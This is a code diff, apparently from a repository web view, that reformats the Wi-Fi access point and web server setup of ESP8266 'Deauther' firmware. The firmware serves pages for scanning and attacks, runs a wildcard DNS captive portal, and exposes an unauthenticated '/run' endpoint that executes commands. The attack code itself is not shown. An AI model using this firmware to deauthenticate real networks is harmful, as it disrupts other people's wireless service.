|
|
||||||
});
|
|
||||||
server.on(String(F("/settings.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
|
||||||
});
|
|
||||||
server.on(String(F("/style.css")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(delang, sizeof(delang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
|
||||||
});
|
|
||||||
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, [](){
|
|
||||||
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
|
||||||
});
|
|
||||||
|
|
||||||
}
|
|
||||||
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, [](){
|
|
||||||
if(!settings.getWebSpiffs()){
|
|
||||||
if(settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
|
||||||
else if(settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
|
||||||
|
|
||||||
else handleFileRead(String(F("/web/lang/"))+settings.getLang()+String(F(".lang")));
|
|
||||||
} else {
|
|
||||||
handleFileRead(String(F("/web/lang/"))+settings.getLang()+String(F(".lang")));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// ================================================================
|
|
||||||
|
|
||||||
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
|
||||||
server.send(200, str(W_TXT), str(W_OK).c_str());
|
|
||||||
serialInterface.runCommands(server.arg("cmd"));
|
|
||||||
});
|
|
||||||
|
|
||||||
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
|
||||||
server.send(200, str(W_JSON), attack.getStatusJSON());
|
|
||||||
});
|
|
||||||
|
|
||||||
/*
|
|
||||||
//load editor
|
|
||||||
server.on("/edit", HTTP_GET, [](){
|
|
||||||
if(!handleFileRead("/edit.htm")) server.send(404, str(W_TXT), "FileNotFound");
|
|
||||||
});
|
|
||||||
|
|
||||||
server.on("/edit", HTTP_PUT, handleFileCreate); //create file
|
|
||||||
server.on("/edit", HTTP_DELETE, handleFileDelete); //delete file
|
|
||||||
|
|
||||||
//first callback is called after the request has ended with all parsed arguments
|
|
||||||
//second callback handles file uploads at that location
|
|
||||||
server.on("/edit", HTTP_POST, [](){
|
|
||||||
server.send(200, str(W_TXT), "");
|
|
||||||
}, handleFileUpload);
|
|
||||||
*/
|
|
||||||
|
|
||||||
// aggressively caching static assets
|
|
||||||
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
|
||||||
|
|
||||||
//called when the url is not defined here
|
|
||||||
//use it to load content from SPIFFS
|
|
||||||
server.onNotFound([]() {
|
|
||||||
if (!handleFileRead(server.uri())) {
|
|
||||||
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
|
||||||
}
|
}
|
||||||
});
|
|
||||||
|
|
||||||
server.begin();
|
if (!path.charAt(0) == SLASH) path = String(SLASH) + path;
|
||||||
wifiMode = WIFI_MODE_AP;
|
|
||||||
|
|
||||||
prntln(W_STARTED_AP);
|
if (password == String(ZERO)) password = String(NEWLINE);
|
||||||
printWifiStatus();
|
|
||||||
|
wifi_config_path = path;
|
||||||
|
wifi_config_ssid = ssid;
|
||||||
|
wifi_config_password = password;
|
||||||
|
setWifiChannel(ch);
|
||||||
|
wifi_config_hidden = hidden;
|
||||||
|
wifi_config_captivePortal = captivePortal;
|
||||||
|
|
||||||
|
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||||
|
WiFi.softAP(ssid.c_str(), password.c_str(), wifi_channel, hidden);
|
||||||
|
|
||||||
|
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
||||||
|
dnsServer.start(53, String(ASTERIX), apIP);
|
||||||
|
|
||||||
|
MDNS.begin(str(W_DEAUTHER).c_str());
|
||||||
|
|
||||||
|
server.on(String(F("/list")).c_str(), HTTP_GET, handleFileList); // list directory
|
||||||
|
|
||||||
|
|
||||||
|
// ================================================================
|
||||||
|
// post here the output of the webConverter.py
|
||||||
|
|
||||||
|
if (!settings.getWebSpiffs()) {
|
||||||
|
server.on(String(SLASH).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/attack.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(attackhtml, sizeof(attackhtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/index.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(indexhtml, sizeof(indexhtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/info.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(infohtml, sizeof(infohtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/scan.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(scanhtml, sizeof(scanhtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/settings.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(settingshtml, sizeof(settingshtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/ssids.html")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(ssidshtml, sizeof(ssidshtml), W_HTML);
|
||||||
|
});
|
||||||
|
server.on(String(F("/style.css")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(stylecss, sizeof(stylecss), W_CSS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/attack.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(attackjs, sizeof(attackjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/scan.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(scanjs, sizeof(scanjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/settings.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(settingsjs, sizeof(settingsjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/site.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(sitejs, sizeof(sitejs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/js/ssids.js")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(ssidsjs, sizeof(ssidsjs), W_JS);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/cn.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/cs.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/de.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(delang, sizeof(delang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/en.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/fr.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/it.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/ru.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||||
|
});
|
||||||
|
server.on(String(F("/lang/tlh.lang")).c_str(), HTTP_GET, []() {
|
||||||
|
sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
server.on(str(W_DEFAULT_LANG).c_str(), HTTP_GET, []() {
|
||||||
|
if (!settings.getWebSpiffs()) {
|
||||||
|
if (settings.getLang() == String(F("cn"))) sendProgmem(cnlang, sizeof(cnlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("cs"))) sendProgmem(cslang, sizeof(cslang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("de"))) sendProgmem(delang, sizeof(delang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("en"))) sendProgmem(enlang, sizeof(enlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("fr"))) sendProgmem(frlang, sizeof(frlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("it"))) sendProgmem(itlang, sizeof(itlang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("ru"))) sendProgmem(rulang, sizeof(rulang), W_JSON);
|
||||||
|
else if (settings.getLang() == String(F("tlh"))) sendProgmem(tlhlang, sizeof(tlhlang), W_JSON);
|
||||||
|
|
||||||
|
else handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||||
|
} else {
|
||||||
|
handleFileRead(String(F("/web/lang/")) + settings.getLang() + String(F(".lang")));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// ================================================================
|
||||||
|
|
||||||
|
server.on(String(F("/run")).c_str(), HTTP_GET, []() {
|
||||||
|
server.send(200, str(W_TXT), str(W_OK).c_str());
|
||||||
|
serialInterface.runCommands(server.arg("cmd"));
|
||||||
|
});
|
||||||
|
|
||||||
|
server.on(String(F("/attack.json")).c_str(), HTTP_GET, []() {
|
||||||
|
server.send(200, str(W_JSON), attack.getStatusJSON());
|
||||||
|
});
|
||||||
|
|
||||||
|
/*
|
||||||
|
//load editor
|
||||||
|
server.on("/edit", HTTP_GET, [](){
|
||||||
|
if(!handleFileRead("/edit.htm")) server.send(404, str(W_TXT), "FileNotFound");
|
||||||
|
});
|
||||||
|
|
||||||
|
server.on("/edit", HTTP_PUT, handleFileCreate); //create file
|
||||||
|
server.on("/edit", HTTP_DELETE, handleFileDelete); //delete file
|
||||||
|
|
||||||
|
//first callback is called after the request has ended with all parsed arguments
|
||||||
|
//second callback handles file uploads at that location
|
||||||
|
server.on("/edit", HTTP_POST, [](){
|
||||||
|
server.send(200, str(W_TXT), "");
|
||||||
|
}, handleFileUpload);
|
||||||
|
*/
|
||||||
|
|
||||||
|
// aggressively caching static assets
|
||||||
|
server.serveStatic("/js", SPIFFS, String(wifi_config_path + "/js").c_str(), "max-age=86400");
|
||||||
|
|
||||||
|
// called when the url is not defined here
|
||||||
|
// use it to load content from SPIFFS
|
||||||
|
server.onNotFound([]() {
|
||||||
|
if (!handleFileRead(server.uri())) {
|
||||||
|
server.send(404, str(W_TXT), str(W_FILE_NOT_FOUND));
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
server.begin();
|
||||||
|
wifiMode = WIFI_MODE_AP;
|
||||||
|
|
||||||
|
prntln(W_STARTED_AP);
|
||||||
|
printWifiStatus();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
void printWifiStatus() {
|
void printWifiStatus() {
|
||||||
prnt(String(F("[WiFi] Path: '")));
|
prnt(String(F("[WiFi] Path: '")));
|
||||||
prnt(wifi_config_path);
|
prnt(wifi_config_path);
|
||||||
prnt(String(F("', Mode: '")));
|
prnt(String(F("', Mode: '")));
|
||||||
switch(wifiMode){
|
|
||||||
|
switch (wifiMode) {
|
||||||
case WIFI_MODE_OFF:
|
case WIFI_MODE_OFF:
|
||||||
prnt(W_MODE_OFF);
|
prnt(W_MODE_OFF);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_AP:
|
case WIFI_MODE_AP:
|
||||||
prnt(W_AP);
|
prnt(W_AP);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case WIFI_MODE_STATION:
|
case WIFI_MODE_STATION:
|
||||||
prnt(W_STATION);
|
prnt(W_STATION);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
prnt(String(F("', SSID: '")));
|
prnt(String(F("', SSID: '")));
|
||||||
prnt(wifi_config_ssid);
|
prnt(wifi_config_ssid);
|
||||||
prnt(String(F("', password: '")));
|
prnt(String(F("', password: '")));
|
||||||
prnt(wifi_config_password);
|
prnt(wifi_config_password);
|
||||||
prnt(String(F("', channel: '")));
|
prnt(String(F("', channel: '")));
|
||||||
prnt(wifi_channel);
|
prnt(wifi_channel);
|
||||||
prnt(String(F("', hidden: ")));
|
prnt(String(F("', hidden: ")));
|
||||||
prnt(b2s(wifi_config_hidden));
|
prnt(b2s(wifi_config_hidden));
|
||||||
prnt(String(F(", captive-portal: ")));
|
prnt(String(F(", captive-portal: ")));
|
||||||
prntln(b2s(wifi_config_captivePortal));
|
prntln(b2s(wifi_config_captivePortal));
|
||||||
}
|
}
|
||||||
|
|
||||||
void startAP(){
|
void startAP() {
|
||||||
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
startAP(wifi_config_path.c_str(), wifi_config_ssid.c_str(),
|
||||||
|
wifi_config_password.c_str(), wifi_channel, wifi_config_hidden, wifi_config_captivePortal);
|
||||||
}
|
}
|
||||||
|
|
||||||
void startAP(String path) {
|
void startAP(String path) {
|
||||||
wifi_config_path = path;
|
wifi_config_path = path;
|
||||||
startAP();
|
startAP();
|
||||||
}
|
}
|
||||||
|
|
||||||
void loadWifiConfigDefaults() {
|
void loadWifiConfigDefaults() {
|
||||||
wifi_config_hidden = settings.getHidden();
|
wifi_config_hidden = settings.getHidden();
|
||||||
wifi_config_ssid = settings.getSSID();
|
wifi_config_ssid = settings.getSSID();
|
||||||
wifi_config_password = settings.getPassword();
|
wifi_config_password = settings.getPassword();
|
||||||
wifi_config_captivePortal = settings.getCaptivePortal();
|
wifi_config_captivePortal = settings.getCaptivePortal();
|
||||||
wifi_config_path = str(W_WEBINTERFACE);
|
wifi_config_path = str(W_WEBINTERFACE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void resumeAP() {
|
void resumeAP() {
|
||||||
if (wifiMode != WIFI_MODE_AP) {
|
if (wifiMode != WIFI_MODE_AP) {
|
||||||
wifiMode = WIFI_MODE_AP;
|
wifiMode = WIFI_MODE_AP;
|
||||||
wifi_promiscuous_enable(0);
|
wifi_promiscuous_enable(0);
|
||||||
WiFi.softAPConfig(apIP, apIP, netMsk);
|
WiFi.softAPConfig(apIP, apIP, netMsk);
|
||||||
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
WiFi.softAP(wifi_config_ssid.c_str(), wifi_config_password.c_str(), wifi_channel, wifi_config_hidden);
|
||||||
prntln(W_STARTED_AP);
|
prntln(W_STARTED_AP);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif // ifndef WifiManager_h
|
||||||
|
|
||||||
Reference in New Issue
Block a user